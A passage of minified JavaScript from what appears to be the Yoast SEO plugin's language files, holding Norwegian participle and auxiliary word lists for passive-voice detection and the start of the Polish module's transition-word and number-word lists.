t","moret","betjenet","booket","demonstreret","strømmet","anmeldet","dekoreret","mestret","vedlikeholdet","springet","erkjennet","oppholdet","avviklet","fotograferet","parkeret","vitnet","sviktet","rekrutteret","importeret","elimineret","oppmuntret","belønnet","blokkeret","presiseret","markedsføret","kjennetegnet","høstet","kjennest","lokaliseret","våget","overset","innstillet","utmerket","gjenspeilet","henvendet","lokket","sukket","utstedet","innehat","utbetalet","rangeret","avbrytet","evalueret","jaget","hivet","sprekket","døpet","omsettet","sorteret","slåsst","karakteriseret","fremføret","rundet","bemerket","underlegget","korresponderet","verdsettet","konverteret","formuleret","forfølget","utbret","disponeret","avanseret","strammet","implementeret","opparbeidet","kysset","korrigeret","blomstret","innvilget","ofret","knekket","filet","matet","forsinket","forenet","reserveret","spennet","tilsendet","transporteret","vannet","stavet","belastet","forenklet","skreddersyt","etterlyset","skyldet","spåt","dyttet","timet","rotet","nedlegget","dettet","kvittet","innredet","kortet","motsettet","lindret","bremset","frelset","foret","gjenkjennet","opphevet","sniket","tallet","absorberet","lekket","doblet","distribueret","synliggjøret","feilet","forsynet","bearbeidet","ignoreret","unnet","forkynnet","tråkket","assosieret","tilegnet","utviset","nedsettet","diagnostiseret","framståt","heiet","planet","anget","evnet","herjet","sklit","misforståt","forbeholdet","begeistret","avsettet","fyret","oset","kompenseret","overstiget","tilset","oppkallet","krypet","brettet","bevilget","skildret","forvandlet","minsket","rømmet","klassifiseret","anlegget","lyvet","sprenget","overnattet","innfrit","spørrest","maktet","forverret","turet","stellet","klargjøret","arvet","hemmet","ledest","skyllet","nøyet","pumpet","tillegget","hyllet","tillet","behersket","skjerpet","berømmet","vernet","forankret","luftet","svelget","innkallet","kunngjøret","luket","opphøret","headet","vekslet","fratat","suppleret","innlemmet","trillet","lenket","boret","avlyset","sponset","driftet","medvirket","motvirket","ferdigstillet","grenset","sprettet","gjestet","regisseret","protesteret","anklaget","gjettet","etterspørret","duket","stemplet","koordineret","avtat","oppnevnet","omkommet","overholdet","printet","misbruket","forlanget","dedikeret","roset","unnskyldet","utdelet","såret","sertifiseret","oppløset","provoseret","forvirret","øset","begravet","overgåt","påtat","helbredet","stirret","erobret","spekuleret","skiltet","mobbet","rustet","nikket","gruet","bommet","innlegget","utpeket","surfet","kranglet","tilgit","utdypet","sammensettet","hakket","fremkommet","strevet","igangsettet","hersket","brekket","bristet","bydet","draget","flyget","fnyset","fyket","glippet","grinet","gyset","gytet","gyvet","hogget","hugget","klinget","klypet","klyvet","knipet","kommet","kvedet","kvekket","kveppet","latet"," lyget","lyvet","nyset","pipet","ridet","settet","skitet","skjelvet","skridet","skrivet","skvettet","slippet","smyget","snytet","spinnet","stridet","supet","sverget","sverjet","ljuget","sviket","svinnet","sleppet","tigget","viket","villt","brukt","finnt","leggt","vist","vitt","liggt","ønskt","holdt","spillt","lagt","velgt","tenkt","ment","trengt","begynnt","kjennt","kjøpt","startt","finnes","lest","følgt","jobbt","gjeldt","sendt","fortellt","sitt","hørt","hjelpt","byggt","klart","kjørt","ført","snakkt","økt","tilby","skapt","håpt","vinnt","møtt","delt","følt","utviklt","bety","kallt","bidra","lært","selgt","spist","opplevt","fortsett","passt","drivt","krevt","fungert","levt","levert","virkt","betalt","forstå","delta","benytt","søkt","endrt","spørrt","vurdert","stillt","handlt","inkludert","åpnt","reist","inneholdt","bestemmt","anbefalt","trekkt","ventt","samlt","flytt","nevnt","gjennomført","huskt","lurt","sikrt","bestå","redusert","slippt","hentt","regnt","svart","knytt","utført","hett","merkt","basert","trent","fallt","meldt","ledt","fyllt","produsert","dekkt","endt","mistt","gledt","unngå","sørgt","behandlt","vokst","motta","registrert","beskrivt","arrangert","forsøkt","etablert","påvirkt","skjønnt","fjernt","født","sjekkt","forklart","trefft","stoppt","bestillt","oppnå","plassert","avslutt","hengt","løpt","forventt","slutt","presentert","elskt","slitt","kostt","planleggt","bært","besøkt","glemmt","støtt","bytt","kastt","testt","nytt","oppdagt","oppstå","tapt","brytt","løst","styrt","fornøyt","innebært","rett","representert","tilpasst","publisert","omfatt","utsett","sammenlignt","tillatt","sovt","dannt","hevdt","tjent","invitert","forsvinnt","manglt","drept","utgjørt","skillt","beskytt","stemmt","variert","drikkt","opprett","inngå","forbedrt","ødeleggt","satst","dukkt","målt","lastt","foreslå","diskutert","ringt","studert","interessert","styrkt","begrenst","vart","koblt","skadt","forlatt","lovt","foreta","skafft","foregå","godkjennt","kost","spart","høres","hindrt","vedta","bringt","bekreftt","oppdatert","anst","syngt","fokusert","forårsakt","sprt","erstatt","skytt","servert","kombinert","kjempt","latt","anta","blandt","by","snu","pregt","fordelt","ansett","takkt","fart","utvidt","skyldes","minnt","trykkt","lansert","kontaktt","beholdt","lett","forberedt","festt","innført","undersøkt","brennt","malt","medført","bevegt","stikkt","skiftt","hoppt","involvert","egnt","overta","montert","tålt","avgjørt","lykkes","plukkt","beregnt","utgi","pekt","håndtert","tegnt","langt","uttalt","lagrt","føles","installert","feirt","opprettholdt","oppfordrt","reagert","kontrollert","understrekt","havnt","vaskt","befinnt","fullført","lekt","lidt","definert","omtalt","løftt","oppgi","rammt","samarbeidt","fangt","typt","opplyst","strekkt","dreit","stengt","utarbeidt","fremmt","overført","pleit","oppfyllt","inspirert","engasjert","utnytt","oppført","organisert","smakt","reddt","scort","hendt","bekymrt","kutt","påpekt","rekkt","forandrt","akseptert","ordnt","nektt","presst","passert","savnt","nærmt","pakkt","smilt","møtes","rapportert","dømmt","oppfatt","tilhørt","stigt","tildelt","talt","tydt","greit","markert","ivareta","fortjent","vennt","leit","lånt","eksistert","dokumentert","klikkt","vendt","tvingt","kommentert","innrømmt","forholdt","landt","våknt","funkt","formidlt","identifisert","tellt","utstyrt","gratulert","formt","angript","overraskt","foreliggt","hevt","tørrt","foretrekkt","garantert","justert","prioritert","lytt","gjenta","imponert","resultert","skjult","trenges","rivt","trives","lukkt","uttrykkt","overlevt","klagt","informert","tilbringt","postt","giftt","designt","avslørt","varslt","fremstå","bloggt","innst","stolt","operert","forsvart","forutsett","gript","ryddt","utdannt","skru","veit","krysst","utfordrt","gjennomgå","regulert","støtt","senkt","lignt","bevart","angi","utforskt","tørkt","syklt","forsterkt","tolkt","slappt","investert","fikst","berørt","bevist","ropt","kokt","forbli","opptrt","vekkt","fastsett","strikkt","fryktt","blåst","avholdt","drømmt","sy","forekommt","forby","pratt","observert","taklt","påstå","konkurrert","ant","rennt","ri","signert","forhindrt","ankommt","konkludert","sport","stiftt","relatert","forbindt","avtalt","varmt","bitt","påført","bindt","fellt","kvalifisert","referert","utformt","avvist","klippt","overbevist","bla","plagt","øvt","orkt","behøvt","godta","beklagt","henvist","kommunisert","integrert","seilt","betraktt","danst","giddt","synkt","lett","tilretteleggt","finansiert","stimulert","bedrt","forebyggt","avhengt","skufft","tilsi","rullt","lest","analysert","hilst","bosett","stjelt","tilsvart","introdusert","dyrkt","aktivert","gravt","trt","disst","fargt","anvendt","innta","oversett","hatt","konsentrert","utløst","reflektert","grunnleggt","pustt","oppleves","kritisert","anerkjennt","avdekkt","svekkt","slett","gjenstå","hvilt","redigert","kårt","stekt","rørt","låst","advart","risikert","renst","grått","knust","rykkt","undervist","skjært","motivert","luktt","dominert","fiskt","bistå","sees","åpenbart","tilført","tilknytt","påvist","beslutt","kartleggt","filmt","ytt","pågå","kikkt","gjemmt","annonsert","loggt","omhandlt","returnert","røykt","påleggt","tipst","tippt","plantt","fremstillt","putt","irritert","tennt","stanst","utøvt","indikert","notert","tiltrekkt","fryst","pyntt","klatrt","lyst","oppgradert","pusst","slengt","fraktt","fristt","stammt","skremmt","antydt","utnevnt","videreført","forskt","vandrt","tilsett","oppsøkt","fatt","svingt","forhandlt","skrevt","lønnt","strykt","sugt","vit","diggt","siktt","hust","reparert","erfart","praktisert","badt","forlengt","bakt","strafft","realisert","stresst","skrytt","intervjut","flytt","bekjempt","illustrert","bøyt","droppt","iverksett","ladt","mistenkt","sovnt","forpliktt","tømmt","fremhevt","dempt","tvilt","begå","orientert","overvåkt","fastslå","bankt","løsnt","tilfredsstillt","kopiert","etterfølgt","rommt","argumentert","angrt","kult","drøftt","sparkt","begrunnt","betegnt","flyktt","erklært","oppsummert","forelskt","respektert","lydt","lått","avklart","isolert","smitt","anslå","hellt","prist","smørt","generert","oppbevart","innledt","utelukkt","belyst","omgi","vektleggt","listt","overlatt","titt","dritt","debutert","rot","konstruert","administrert","gjengi","rykt","nominert","svømmt","smeltt","offentliggjørt","etterlatt","skinnt","smellt","skrikt","forvaltt","prestert","spesialisert","sigt","forsikrt","datert","klemmt","forstyrrt","toppt","skyvt","linkt","matcht","ridt","videreutviklt","fremgå","avgi","fornyt","limt","rast","spa","balansert","frigjørt","sitert","forestillt","konstatert","jaktt","grunnt","veiledt","gjenopprett","angå","besvart","sammenliknt","innhentt","ristt","rengjørt","litt","komplisert","utredt","nytt","arrestert","mort","betjent","bookt","demonstrert","strømmt","anmeldt","dekorert","mestrt","vedlikeholdt","springt","erkjennt","oppholdt","avviklt","fotografert","parkert","vitnt","sviktt","rekruttert","importert","eliminert","oppmuntrt","belønnt","blokkert","presisert","markedsført","kjennetegnt","høstt","kjennes","lokalisert","vågt","overst","innstillt","utmerkt","gjenspeilt","henvendt","lokkt","sukkt","utstedt","inneha","utbetalt","rangert","avbrytt","evaluert","jagt","hivt","sprekkt","døpt","omsett","sortert","slåss","karakterisert","fremført","rundt","bemerkt","underleggt","korrespondert","verdsett","konvertert","formulert","forfølgt","utbrt","disponert","avansert","strammt","implementert","opparbeidt","kysst","korrigert","blomstrt","innvilgt","ofrt","knekkt","filt","matt","forsinkt","forent","reservert","spennt","tilsendt","transportert","vannt","stavt","belastt","forenklt","skreddersy","etterlyst","skyldt","spå","dytt","timt","rott","nedleggt","dett","kvitt","innredt","kortt","motsett","lindrt","bremst","frelst","fort","gjenkjennt","opphevt","snikt","tallt","absorbert","lekkt","doblt","distribuert","synliggjørt","feilt","forsynt","bearbeidt","ignorert","unnt","forkynnt","tråkkt","assosiert","tilegnt","utvist","nedsett","diagnostisert","framstå","heit","plant","angt","evnt","herjt","skli","misforstå","forbeholdt","begeistrt","avsett","fyrt","ost","kompensert","overstigt","tilst","oppkallt","krypt","brett","bevilgt","skildrt","forvandlt","minskt","rømmt","klassifisert","anleggt","lyvt","sprengt","overnatt","innfri","spørres","maktt","forverrt","turt","stellt","klargjørt","arvt","hemmt","ledes","skyllt","nøyt","pumpt","tilleggt","hyllt","tillt","beherskt","skjerpt","berømmt","vernt","forankrt","luftt","svelgt","innkallt","kunngjørt","lukt","opphørt","headt","vekslt","frata","supplert","innlemmt","trillt","lenkt","bort","avlyst","sponst","driftt","medvirkt","motvirkt","ferdigstillt","grenst","sprett","gjestt","regissert","protestert","anklagt","gjett","etterspørrt","dukt","stemplt","koordinert","avta","oppnevnt","omkommt","overholdt","printt","misbrukt","forlangt","dedikert","rost","unnskyldt","utdelt","sårt","sertifisert","oppløst","provosert","forvirrt","øst","begravt","overgå","påta","helbredt","stirrt","erobrt","spekulert","skiltt","mobbt","rustt","nikkt","grut","bommt","innleggt","utpekt","surft","kranglt","tilgi","utdypt","sammensett","hakkt","fremkommt","strevt","igangsett","herskt","brekkt","bristt","bydt","dragt","flygt","fnyst","fykt","glippt","grint","gyst","gytt","gyvt","hoggt","huggt","klingt","klypt","klyvt","knipt","kommt","kvedt","kvekkt","kveppt","latt"," lygt","lyvt","nyst","pipt","ridt","sett","skitt","skjelvt","skridt","skrivt","skvett","slippt","smygt","snytt","spinnt","stridt","supt","svergt","sverjt","ljugt","svikt","svinnt","sleppt","tiggt","vikt","bedt","betydd","bundet","bitt","blitt","brekket","brent","brutt","bydd","budt","båret","dettet","dradd","dratt","drukket","dritet","dritt","drevet","ett","falt","funnet","flydd","fløyet","flydd","fløyet","flytt","forsvunnet","fortalt","frosset","fått","fulgt","gitt","giddet","gjeldet","gjeldt","gjort","kvalt","glidd","gravd","gravet","grint","grepet","grått","gått","hatt","hett","hivd","hjulpet","hogget","hogd","holdt","klypt","kløpet","knekket","knekt","kommet","krøpet","latt","latt","ledd","lagt","ligget","lydd","lydt","løyet","løpet","løpt","nyst","nytt","pepet","rekket","rekkt","rent","ridd","revet","røket","sett","solgt","satt","sagt","sittet","skitt","skjelvet","skåret","sklidd","skreket","skrevet","skrytt","skutt","skyvd","skjøvet","slengt","sluppet","slitt","slått","smelt","snytt","sovet","sprukket","sprettet","sprunget","spurt","stukket","stjålet","strukket","strøket","stått","likt","sverga","sverget","svoret","svidd","sveket","svunnet","sunget","sunket","tatt","truffet","trukket","tvunget","tort","turt","valgt","vikt","vunnet","visst","vridd","vært","villed","bruked","finned","legged","vised","vited","ligged","ønsked","holded","spilled","laged","velged","tenked","mened","trenged","begynned","kjenned","kjøped","started","finnesd","lesed","følged","jobbed","gjelded","sended","fortelled","sitted","høred","hjelped","bygged","klared","kjøred","føred","snakked","øked","tilbyd","skaped","håped","vinned","møted","deled","føled","utvikled","betyd","kalled","bidrad","læred","selged","spised","oppleved","fortsetted","passed","drived","kreved","fungered","leved","levered","virked","betaled","forståd","deltad","benytted","søked","endred","spørred","vurdered","stilled","handled","inkludered","åpned","reised","inneholded","bestemmed","anbefaled","trekked","vented","samled","flytted","nevned","gjennomføred","husked","lured","sikred","beståd","redusered","slipped","hented","regned","svared","knytted","utføred","heted","merked","basered","trened","falled","melded","leded","fylled","produsered","dekked","ended","misted","gleded","unngåd","sørged","behandled","voksed","mottad","registrered","beskrived","arrangered","forsøked","etablered","påvirked","skjønned","fjerned","føded","sjekked","forklared","treffed","stopped","bestilled","oppnåd","plassered","avslutted","henged","løped","forvented","slutted","presentered","elsked","slited","kosted","planlegged","bæred","besøked","glemmed","støtted","bytted","kasted","tested","nyted","oppdaged","oppståd","taped","bryted","løsed","styred","fornøyed","innebæred","retted","representered","tilpassed","publisered","omfatted","utsetted","sammenligned","tillated","soved","danned","hevded","tjened","invitered","forsvinned","mangled","dreped","utgjøred","skilled","beskytted","stemmed","variered","drikked","oppretted","inngåd","forbedred","ødelegged","satsed","dukked","måled","lasted","foreslåd","diskutered","ringed","studered","interessered","styrked","begrensed","vared","kobled","skaded","forlated","loved","foretad","skaffed","foregåd","godkjenned","kosed","spared","høresd","hindred","vedtad","bringed","bekrefted","oppdatered","ansed","synged","fokusered","forårsaked","spred","erstatted","skyted","servered","kombinered","kjemped","lated","antad","blanded","byd","snud","preged","fordeled","ansetted","takked","fared","utvided","skyldesd","minned","trykked","lansered","kontakted","beholded","leted","forbereded","fested","innføred","undersøked","brenned","maled","medføred","beveged","stikked","skifted","hopped","involvered","egned","overtad","montered","tåled","avgjøred","lykkesd","plukked","beregned","utgid","peked","håndtered","tegned","langed","uttaled","lagred","følesd","installered","feired","opprettholded","oppfordred","reagered","kontrollered","understreked","havned","vasked","befinned","fullføred","leked","lided","definered","omtaled","løfted","oppgid","rammed","samarbeided","fanged","typed","opplysed","strekked","dreied","stenged","utarbeided","fremmed","overføred","pleied","oppfylled","inspirered","engasjered","utnytted","oppføred","organisered","smaked","redded","scored","hended","bekymred","kutted","påpeked","rekked","forandred","akseptered","ordned","nekted","pressed","passered","savned","nærmed","pakked","smiled","møtesd","rapportered","dømmed","oppfatted","tilhøred","stiged","tildeled","taled","tyded","greied","markered","ivaretad","fortjened","venned","leied","låned","eksistered","dokumentered","klikked","vended","tvinged","kommentered","innrømmed","forholded","landed","våkned","funked","formidled","identifisered","telled","utstyred","gratulered","formed","angriped","overrasked","foreligged","heved","tørred","foretrekked","garantered","justered","prioritered","lytted","gjentad","imponered","resultered","skjuled","trengesd","rived","trivesd","lukked","uttrykked","overleved","klaged","informered","tilbringed","posted","gifted","designed","avsløred","varsled","fremståd","blogged","innsed","stoled","operered","forsvared","forutsetted","griped","rydded","utdanned","skrud","veied","kryssed","utfordred","gjennomgåd","regulered","støted","senked","ligned","bevared","angid","utforsked","tørked","sykled","forsterked","tolked","slapped","investered","fiksed","berøred","bevised","roped","koked","forblid","opptred","vekked","fastsetted","strikked","frykted","blåsed","avholded","drømmed","syd","forekommed","forbyd","prated","observered","takled","påståd","konkurrered","aned","renned","rid","signered","forhindred","ankommed","konkludered","spored","stifted","relatered","forbinded","avtaled","varmed","bited","påføred","binded","felled","kvalifisered","referered","utformed","avvised","klipped","overbevised","blad","plaged","øved","orked","behøved","godtad","beklaged","henvised","kommunisered","integrered","seiled","betrakted","dansed","gidded","synked","letted","tilrettelegged","finansiered","stimulered","bedred","forebygged","avhenged","skuffed","tilsid","rulled","lestd","analysered","hilsed","bosetted","stjeled","tilsvared","introdusered","dyrked","aktivered","graved","tred","dissed","farged","anvended","inntad","oversetted","hated","konsentrered","utløsed","reflektered","grunnlegged","pusted","opplevesd","kritisered","anerkjenned","avdekked","svekked","sletted","gjenståd","hviled","redigered","kåred","steked","røred","låsed","advared","risikered","rensed","gråted","knused","rykked","undervised","skjæred","motivered","lukted","dominered","fisked","biståd","seesd","åpenbared","tilføred","tilknytted","påvised","beslutted","kartlegged","filmed","yted","pågåd","kikked","gjemmed","annonsered","logged","omhandled","returnered","røyked","pålegged","tipsed","tipped","planted","fremstilled","putted","irritered","tenned","stansed","utøved","indikered","notered","tiltrekked","frysed","pynted","klatred","lysed","oppgradered","pussed","slenged","frakted","fristed","stammed","skremmed","antyded","utnevned","videreføred","forsked","vandred","tilsetted","oppsøked","fatted","svinged","forhandled","skreved","lønned","stryked","suged","vied","digged","sikted","hused","reparered","erfared","praktisered","baded","forlenged","baked","straffed","realisered","stressed","skryted","intervjued","flyted","bekjemped","illustrered","bøyed","dropped","iverksetted","laded","mistenked","sovned","forplikted","tømmed","fremheved","demped","tviled","begåd","orientered","overvåked","fastslåd","banked","løsned","tilfredsstilled","kopiered","etterfølged","rommed","argumentered","angred","kuled","drøfted","sparked","begrunned","betegned","flykted","erklæred","oppsummered","forelsked","respektered","lyded","låted","avklared","isolered","smitted","anslåd","helled","prised","smøred","generered","oppbevared","innleded","utelukked","belysed","omgid","vektlegged","listed","overlated","titted","drited","debutered","roed","konstruered","administrered","gjengid","ryked","nominered","svømmed","smelted","offentliggjøred","etterlated","skinned","smelled","skriked","forvalted","prestered","spesialisered","siged","forsikred","datered","klemmed","forstyrred","topped","skyved","linked","matched","rided","videreutvikled","fremgåd","avgid","fornyed","limed","rased","spad","balansered","frigjøred","sitered","forestilled","konstatered","jakted","grunned","veileded","gjenoppretted","angåd","besvared","sammenlikned","innhented","risted","rengjøred","lited","komplisered","utreded","nytted","arrestered","mored","betjened","booked","demonstrered","strømmed","anmelded","dekorered","mestred","vedlikeholded","springed","erkjenned","oppholded","avvikled","fotografered","parkered","vitned","svikted","rekruttered","importered","eliminered","oppmuntred","belønned","blokkered","presisered","markedsføred","kjennetegned","høsted","kjennesd","lokalisered","våged","oversed","innstilled","utmerked","gjenspeiled","henvended","lokked","sukked","utsteded","innehad","utbetaled","rangered","avbryted","evaluered","jaged","hived","sprekked","døped","omsetted","sortered","slåssd","karakterisered","fremføred","runded","bemerked","underlegged","korrespondered","verdsetted","konvertered","formulered","forfølged","utbred","disponered","avansered","strammed","implementered","opparbeided","kyssed","korrigered","blomstred","innvilged","ofred","knekked","filed","mated","forsinked","forened","reservered","spenned","tilsended","transportered","vanned","staved","belasted","forenkled","skreddersyd","etterlysed","skylded","spåd","dytted","timed","roted","nedlegged","detted","kvitted","innreded","korted","motsetted","lindred","bremsed","frelsed","fored","gjenkjenned","oppheved","sniked","talled","absorbered","lekked","dobled","distribuered","synliggjøred","feiled","forsyned","bearbeided","ignorered","unned","forkynned","tråkked","assosiered","tilegned","utvised","nedsetted","diagnostisered","framståd","heied","planed","anged","evned","herjed","sklid","misforståd","forbeholded","begeistred","avsetted","fyred","osed","kompensered","overstiged","tilsed","oppkalled","kryped","bretted","bevilged","skildred","forvandled","minsked","rømmed","klassifisered","anlegged","lyved","sprenged","overnatted","innfrid","spørresd","makted","forverred","tured","stelled","klargjøred","arved","hemmed","ledesd","skylled","nøyed","pumped","tillegged","hylled","tilled","behersked","skjerped","berømmed","verned","forankred","lufted","svelged","innkalled","kunngjøred","luked","opphøred","headed","veksled","fratad","supplered","innlemmed","trilled","lenked","bored","avlysed","sponsed","drifted","medvirked","motvirked","ferdigstilled","grensed","spretted","gjested","regissered","protestered","anklaged","gjetted","etterspørred","duked","stempled","koordinered","avtad","oppnevned","omkommed","overholded","printed","misbruked","forlanged","dedikered","rosed","unnskylded","utdeled","såred","sertifisered","oppløsed","provosered","forvirred","øsed","begraved","overgåd","påtad","helbreded","stirred","erobred","spekulered","skilted","mobbed","rusted","nikked","grued","bommed","innlegged","utpeked","surfed","krangled","tilgid","utdyped","sammensetted","hakked","fremkommed","streved","igangsetted","hersked","brekked","bristed","byded","draged","flyged","fnysed","fyked","glipped","grined","gysed","gyted","gyved","hogged","hugged","klinged","klyped","klyved","kniped","kommed","kveded","kvekked","kvepped","lated","lyged","lyved","nysed","piped","rided","setted","skited","skjelved","skrided","skrived","skvetted","slipped","smyged","snyted","spinned","strided","suped","sverged","sverjed","ljuged","sviked","svinned","slepped","tigged","viked","kunngjort"],{getWords:c}=r.languageProcessing,{precedenceException:x,values:w}=r.languageProcessing,{Clause:S}=w,P=["bli","blir","ble ","blei","blitt","bli","blivende","blis","er"],{createRegexFromArray:R,getClauses:C}=r.languageProcessing,E={Clause:class extends S{constructor(e,t){super(e,t),this._participles=function(e){const t=c(e),r=[];return(0,m.forEach)(t,(function(e){(0,m.includes)(j,e)&&r.push(e)})),r}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getClauseText(),t=this.getParticiples().filter((t=>!x(e,t,a)));this.setPassive(t.length>0)}},stopwords:g,auxiliaries:P,regexes:{auxiliaryRegex:R(P),stopwordRegex:R(g),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi}};function O(e){return C(e,E)}const{AbstractResearcher:T}=r.languageProcessing;class W extends T{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"nb",passiveConstructionType:"periphrastic",functionWords:o,firstWordExceptions:d,transitionWords:n,twoPartTransitionWords:p,stopWords:g}),Object.assign(this.helpers,{getStemmer:h,getClauses:O})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/pl.js000064400001376141147510273070013701 0ustar00(()=>{"use strict";var a={d:(n,o)=>{for(var i in o)a.o(o,i)&&!a.o(n,i)&&Object.defineProperty(n,i,{enumerable:!0,get:o[i]})},o:(a,n)=>Object.prototype.hasOwnProperty.call(a,n),r:a=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})}},n={};a.r(n),a.d(n,{default:()=>ka});const o=window.yoast.analysis,i=["jeden","jedna","jedno","dwa","dwie","trzy","cztery","pięć","sześć","siedem","osiem","dziewięć","dziesięć","ta","to","ten","te","ci","taki","tacy","taka","taką","takich","takie","takiego","takiej","takiemu","takim","takimi","tamten","tamta","tamto","tamci","tamte","tamtą","tamtego","tamtej","tamtemu","tamtych","tamtym","tamtymi","tą","tę","tego","tej","temu","tych","tymi","tym","tak"],z=["aby","abym","abyśmy","abyś","abyście","acz","aczkolwiek","albowiem","ale","aliści","bo","bowiem","bynajmniej","choć","chociaż","chociażby","czyli","dlatego","dodatkowo","dopóki","dotychczas","faktycznie","gdy","gdyż","jakkolwiek","iż","jednak","jednakże","jeśli","kiedy","lecz","mianowicie","mimo","np","najpierw","następnie","natomiast","ni","niemniej","niż","notabene","oczywiście","ogółem","ostatecznie","owszem","podobnie","podsumowując","pokrótce","pomimo","ponadto","ponieważ","poprzednio","potem","później","przecież","przeto","przynajmniej","raczej","również","rzeczywiście","skoro","także","też","toteż","tudzież","tymczasem","wedle","według","więc","właściwie","wobec","wpierw","wprawdzie","wreszcie","wskutek","wstępnie","wszakże","wszelako","zamiast","zanim","zarówno","zaś","zatem","zresztą","zwłaszcza","żeby","żebym","żebyś","żebyście","żebyśmy"],e=z.concat(["a konkretnie","a propos","aby wrocić do rzeczy","analogicznie do","bacząc na to że","bądź co bądź","bez wątpienia","bez względu","biorąc pod uwagę","choćby","chodzi o to","chyba że","co do","co gorsza","co prawda","co się tyczy","co ważniejsze","co więcej","dzięki czemu","dzięki któremu","dzięki której","dzięki którym","dzięki temu","faktem jest że","inaczej mówiąc","innymi słowy","jak dotąd","jak już mówiłam","jak już mówiłem","jak już wspomniano","jak widać","jak wiemy","jako przykład","jednym słowem","jeśli chodzi o","jeżeli chodzi o","konkretnie to","krótko mówiąc","łącznie z","mając to na uwadzę","mam na myśli","mamy na myśli","mówiąc w skrócie","na celu","na dłuższą metę","na dodatek","na koniec","na końcu","na przykład","na skutek","na wstęp","na wypadek gdyby","na zakończenie","nade wszystko","należy pamiętać","nawiasem mówiąc","nie mówiąc już","nie mówiąc o tym","nie pomijając","nie schodząc z tematu","nie wspominając już","nie wspominając o","nie wspominając to","nie wspominając że","nie zważając na","o ile","o tyle","od czasu do czasu","od momentu","odnośnie do","ogólnie mówiąc","ogólnie rzecz biorąc","oprócz tego","oznacza to że","po czwarte","po drugie","po piąte","po pierwsze","po to","po trzecie","pod warunkiem","podczas gdy","podczas kiedy","podobnym sposobem","ponad wszystko","poza tym","prawdę mówiąc","prawdę powiedziawszy","prędzej czy później","przechodząc do","przede wszystkim","przez co","przez tą","przez tego","przez to","przy tym","przypuściwszy że","raz na jakiś czas","rzecz jasna","ściśle biorąc","ściśle mówiąc","skutkiem tego","tak czy inaczej","tak czy owak","tak naprawdę","takich jak","takie jak","to znaczy","tym samym","w celu","w ciągu","w dodatku","w efekcie","w innych słowach","w istocie","w każdym razie","w końcu","w konsekwencji","w kwestii","w międzyczasie","w nadziei że","w obawie że","w odróżnieniu","w podobny sposób","w podsumowaniu","w przeciwieństwie do","w przeciwnym razie","w przypadku","w rezultacie","w rozumieniu że","w rzeczy samej","w rzeczywistości","w skrócie","w szczególności","w takim razie","w ten sposób","w tych okolicznościach","w tym przypadku","w wyniku","w wyniku tego","w związku z tym","wbrew pozorom","włącznie z","wracając do rzeczy","wracając do tematu","wręcz przeciwnie","z drugiej strony","z drugiej zaś strony","z jednej strony","z mocy że","z obawy że","z pewnością","z powodu","z przyczyny","z tą intencją","z tego powodu","z uwagi że","zacznijmy od","zakładając że","ze względu na","ze względu że","zważywszy na to","zważywszy że"]);function w(a){let n=a;return a.forEach((o=>{(o=o.split("-")).length>0&&o.filter((n=>!a.includes(n))).length>0&&(n=n.concat(o))})),n}const y=["czterech","czterem","czterema","czternaście","czternastce","czternastek","czternastka","czternastką","czternastkach","czternastkami","czternastkę","czternastki","czternastko","czternastkom","czternastoma","czternastu","cztery","czwórce","czwórek","czwórka","czwórką","czwórkach","czwórkami","czwórkę","czwórki","czwórko","czwórkom","czworo","dwa","dwadzieścia","dwanaście","dwie","dwiema","dwóch","dwójce","dwoje","dwójek","dwójka","dwójką","dwójkach","dwójkami","dwójki","dwójko","dwójkom","dwóm","dwoma","dwudziestce","dwudziestek","dwudziestka","dwudziestką","dwudziestkach","dwudziestkami","dwudziestkę","dwudziestki","dwudziestkom","dwudziestoma","dwudziestu","dwunastce","dwunastek","dwunastka","dwunastką","dwunastkach","dwunastkami","dwunastkę","dwunastki","dwunastko","dwunastkom","dwunastoma","dwunastu","dziesiątce","dziesiątek","dziesiątka","dziesiątką","dziesiątkach","dziesiątkami","dziesiątkę","dziesiątki","dziesiątko","dziesiątkom","dziesięć","dziesięcioma","dziesięciu","dziewiątce","dziewiątek","dziewiątka","dziewiątką","dziewiątkach","dziewiątkami","dziewiątkę","dziewiątki","dziewiątko","dziewiątkom","dziewięć","dziewięcioma","dziewięciorga","dziewięciorgiem","dziewięciorgu","dziewięcioro","dziewięciu","dziewiętnaście","dziewiętnastce","dziewiętnastek","dziewiętnastka","dziewiętnastką","dziewiętnastkach","dziewiętnastkami","dziewiętnastkę","dziewiętnastki","dziewiętnastkom","dziewiętnastoma","dziewiętnastu","jeden","jedenaście","jedenastce","jedenastek","jedenastka","jedenastką","jedenastkach","jedenastkami","jedenastkę","jedenastki","jedenastko","jedenastkom","jedenastoma","jedenastu","jedna","jedną","jednego","jednej","jednemu","jedno","jednym","jedynce","jedynek","jedynka","jedynką","jedynkach","jedynkami","jedynkę","jedynki","jedynko","jedynkom","miliard","miliarda","miliardach","miliardami","miliardem","miliardom","miliardów","miliardowi","miliardy","miliardzie","milion","miliona","milionach","milionami","milionem","milionie","milionom","milionów","milionowi","miliony","ósemce","ósemek","ósemka","ósemką","ósemkach","ósemkami","ósemkę","ósemki","ósemko","ósemkom","osiem","osiemnaście","osiemnastce","osiemnastek","osiemnastka","osiemnastką","osiemnastkach","osiemnastkam","osiemnastkę","osiemnastki","osiemnastko","osiemnastkom","osiemnastoma","osiemnastu","ośmioma","ośmiorga","ośmiorgiem","ośmiorgu","ośmioro","ośmiu","piątce","piątek","piątka","piątką","piątkach","piątkami","piątkę","piątki","piątko","piątkom","pięć","pięcioma","pięciorga","pięciorgiem","pięciorgu","pięcioro","pięciu","piętnaście","piętnastce","piętnastek","piętnastka","piętnastką","piętnastkach","piętnastkami","piętnastkę","piętnastki","piętnastko","piętnastkom","piętnastoma","piętnastu","raz","setce","setek","setka","setkach","setkami","setkę","setki","setkom","siedem","siedemnaście","siedemnastce","siedemnastek","siedemnastka","siedemnastką","siedemnastkach","siedemnastkami","siedemnastkę","siedemnastki","siedemnastko","siedemnastkom","siedemnastoma","siedemnastu","siedmioma","siedmiorga","siedmiorgiem","siedmiorgu","siedmioro","siedmiu","siódemce","siódemek","siódemka","siódemką","siódemkach","siódemkami","siódemkę","siódemki","siódemko","siódemkom","sto","stoma","stu","s